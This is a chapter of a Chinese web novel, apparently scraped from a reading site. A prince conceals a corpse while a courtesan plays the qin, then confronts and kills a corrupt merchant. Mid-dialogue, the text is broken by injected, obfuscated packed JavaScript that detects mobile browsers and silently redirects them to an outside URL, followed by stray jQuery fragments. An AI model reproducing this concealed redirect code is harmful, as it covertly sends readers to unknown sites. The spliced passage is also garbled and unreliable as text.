21. 没用
作品:《被偷听心声的我学精了》 但是看着地上的尸体又清醒过来,姜朝雨直接将尸体拖至屏风后,连同自己也躲在了屏风的后面。
同时曾宸华也配合着将地上的血渍用布盖住,随后坐在圆凳上,用身体挡住这一方向。
见一切都收拾妥当,曾宸华才不紧不慢道:“进。”
春香轻轻推开门,莲步轻移,恰似弱柳扶风,一袭月白色罗裙逶迤于地,每一步都踏出如诗韵律。
怀抱的古琴,桐木所制,琴身朱漆斑驳,似在诉说岁月沧桑。
她的指尖轻搭琴弦,玉指素白,与深色琴弦相映。
微风吹过,鬓边发丝轻扬,几缕碎发垂落在她白皙的脸颊。她眉眼低垂,长长的睫毛在眼睑处投下淡淡的阴影,神情宁静自如。
立于曾宸华面前便开始行礼,“让官人久等了,不知官人想听什么曲子?”
透过屏风,姜朝雨一见便心生感叹,难怪是春香楼的玉牌,如此之美却看着像极了秋风一吹便落叶的病柳。
春香没有四处看,而是坐在相近的屏风前,虽然进来便闻着不对劲了,但是这与她毫无干系,只要在为这位客人弹一首曲子便可以歇息了。
见此,曾宸华提及一曲:“一曲相思愁即可。”
相思愁,曾是前朝时期丈夫出征在外,家里的妻子思念所做,只要妻子思念丈夫之时,便拿出琴来弹奏一曲,每每路过妻子家之人皆会闻曲落泪,想起自己所思念之人。就这样怀着这份思念,妻子弹奏了三年之久,丈夫终于从遥远的边疆凯旋而归。后来慢慢的便传了下来,甚至成了思念的象征。
春香微微颔首眼神专注地落在琴弦上,仿佛整个世界都只剩下她和眼前的这张琴。
她的双手轻轻搭在琴弦上,手指修长而灵动,犹如春日里的蝴蝶,即将在琴弦上翩翩起舞。
随着指尖轻拨,琴弦发出悠扬的声音,她的神情也随之变化。时而双眉微蹙,似乎在倾诉着心中的忧愁;时而嘴角微微上扬,似是等到丈夫所归,流露出一丝愉悦与满足。
她的身体会随着琴音的节奏轻轻摇摆,仿佛与琴音融为一体,沉浸在音乐的世界里,忘却了周围的一切。
周围的环境也仿佛因她的琴声而变得宁静祥和,时间也在这一刻仿佛静止,唯有那袅袅琴音在空气中回荡。
曲罢,人亦还在琴声中。
琴艺精湛,姜朝雨不知何时已落泪,用手拂去眼角的泪。
“啪!啪!啪!姑娘琴艺了得!”曲罢,曾宸华为其鼓掌。夸赞的话随口而来,“早就听说春香楼的琴艺了得,果然百闻不如一见。”
饶是听腻了夸赞声,春香似乎已经习以为常了,淡淡道:“官人客气了。”
春香起身,“既然为官人一曲弹罢,那小女子便告退。”
曾宸华点点头,待春香将门关上之后便唤姜朝雨出来,等待片刻却始终不见动静,起身走到屏风前,往里一看,发现连同罪犯都不见了。
在原来的位置上只留下一滩血渍,除此之外好似没有人来过一般。
“呵,跑得挺快。”曾宸华翘起嘴角,连自己都没有意识到自己笑了。却又想到当年,姜朝雨也是通过这样救了自己吗?
见此,人已经跑了那自己也没有留在这里的必要了,于是唤来云起处理包间的一切。
在云起来时,直接问道:“你的死士符呢?”
曾宸华这样一问起,云起一摸身上才发现自己的死士符已经丢了。死士符不见就以为着这个人也可以消失了。
看着云起的动作,曾宸华便知道了缘由,“回去领罚。”没有要云起的命,直接放他一命。
云起听到此感到十分的感激,“多谢主上。”
手上抚摸着荷包上的纹样,想起了姜朝雨所说的话,这个荷包是她亲手所绣的,更应该珍惜才对,于是把它放于自己贴身衣物处相挨着。
之前的事情已经暴露了,看来人是留不得了。
月光洒落在墙上,今日的风呼啸不止,赵东家此时正在家中把酒言欢,温热的酒下肚好生惬意,此时还没有意识到危险的来临。
曾宸华站在赵东家的房梁上,静静地看着赵东家的一举一动,冷嘲热讽道:“事情败露竟有脸在这里把酒言欢,看来还是没有给足教训。”
此时的赵东家正在为白天的送货而高兴,俨然没有意识到为他办事的人已经死去。或许是自大,也或许是居于高位久了飘飘然了。
曾宸华走到赵东家的面前,此刻醉的有些糊涂的赵东家见着曾宸华来了之后,脸上挤满了笑容,奉承道:“什么风把二皇子吹来寒舍了,请坐请坐。”
此刻整个人充满了傲慢,不知是赵东家喝酒喝得有些醉了让他误以为他和曾宸华是一条绳上的蚂蚱,又或是其他,整个人毫不客气。
见着赵东家这一动作,曾宸华心中不留他的念头更是加剧。
随意一坐,端起桌上的酒杯一饮而尽,随后又问道:“不知赵东家的人何时回来?”
赵东家摆摆手,毫不在意道:“他们都是老手了,不急于一时。”
曾宸华把玩着手中的酒杯,借着月光看清楚酒杯上的纹路,大龙探首杯口,小龙缠腹仰望,如此狼子野心,竟一点也不防着人,这酒竟如此壮人胆。
赵东家此刻正是酒里,若是平时万不会将此拿出来,夜黑风高正是壮人胆之时。
曾宸华将酒壶拿过来,向自己杯中又添上。“你可知,你的那些手下已经死了。”
“死?二皇子莫不是玩笑话,我那两位打手兄弟可不是吃淡鱼的。”听着曾宸华如此一说,赵东家俨然是不信的。
见此,曾宸华也不藏着掖着了,直接将剑拿了出来,将酒杯中的酒轻描淡写地当着赵东家的面将其倒在剑面上。
此刻赵东家的酒才醒了,连忙跪在地上。若是方才不清楚的话,此刻二皇子的剑已经照亮了他的眼睛,看着桌子上的杯子才意识到了不对劲。
更何况又提及到自家兄弟,看来已经被二皇子解决了,就连他也不放过。刚才自己是酒灌了脑袋,迷糊头了,竟然在二皇子面前摆起了架子。
裆里的尿骚味借着风的方向吹到了曾宸华的身边,让他想到,前些年的金银珠宝将他由瘦弱书生如今养成了现在的一坨,整个人跪在地上瑟瑟发抖。
“当初你找我的时候可不是如今这副模样。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235793|166079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
那时的赵东家还是上京赶考的意气风发的少年赵华声,中举之后便来曾宸华跟前投举,短短几年,人心已经喂养成如今这副模样了。
“可曾记得当初你找我之时是为了百姓生活安康,更加美满吗?”曾宸华看向赵华声的眼里是不成器,沾满酒的剑轻轻放在了赵华声的脖子上,却也吓得他连声求饶,哪里还能回忆曾经的模样。
人心不足蛇吞象,曾宸华内心也责备自己纵容他成了如今的模样,犯下了伤害百姓的罪。“朝廷在查,我亦然为你掩盖了,可是我似乎没有从你身上看到回报。”
赵华声此时整个人惧怕极了,由着剑擦过他的脖子留下血痕,比起血痕保住他的命才是最重要的。
两只手都拉着曾宸华的衣裳,求情道:“求二皇子再给小人一个机会,小人定改过。”见着他在地上也嗑得头破血流,血和泪水混杂着糊满了整张脸。
看着面前丝毫没有悔过的人,曾宸华还在试探他的心究竟到了哪一步。
“放心,我已经解决好了,朝廷的人不会查到你的头上。”此话一出,赵华声整个人就彷如拿到了免死金牌。
“多谢二皇子,多谢二皇子。”此时他听到这句话已经放心了,看来二皇子要放自己一条生路了。
赵华声又爬到桌旁,将酒壶里的酒倒入到之前那个大小龙杯子里,然后恭敬地拿到曾宸华的面前,“二皇子,喝酒。”
看着自己面前的那杯酒,低头之时酒面映出了自己的脸。许是赵华声举得有些累了,抖动的手使得酒面开始起波澜了。
这一刻曾宸华又后悔了,赵华声这个人留不得了。“我又后悔了。”
曾宸华直接拿剑刺杀了赵华声,那一刻赵华声的笑容还凝固在脸上,渐渐地看向自己被捅的位置,杯子落在了地上发出重重声响。
将剑拔出之时,血染在了门上,赵华声整个人重重地倒在了地上,死前还睁大了眼睛。
拿出手帕擦拭着剑上的血,随意地将手帕丢在赵华声的脸上,盖住了他的眼睛。
等到第二日,府上的人才发觉赵华声的尸首凉了。
这个消息传到了时锦庄黎远岫的耳朵里,黎远岫紧接着又告诉了姜朝雨。
“听说赵华声是被人用剑捅死的。”
姜朝雨很是好奇,这个事情莫不是曾宸华的手笔,消息败露了然后便派人去杀了赵华声。
“莫不是因为昨日的······”提起这个姜朝雨突然不想说了,因为这件事情已经达成了交易,那么知道的人越少越好,哪怕是旁边的黎远岫。
听着姜朝雨突然话停,黎远岫反而有些疑惑,“昨日出何事了?”
姜朝雨想了想还是不说为妙,便笑了笑,随口糊弄过去。“没什么,我想着莫不是之前他得罪的仇家找上门来了。”
赵华声死前一直都是笑面虎,倒未曾听起是否得罪过人。
但如此一说便让黎远岫想起了之前赵华声与人在时锦庄里争吵的事情,便一五一十地和姜朝雨说起了。姜朝雨也是第一次听闻这件事,心中十分困惑。
“你的意思是有两个身材高大的人来找过赵华声的麻烦?”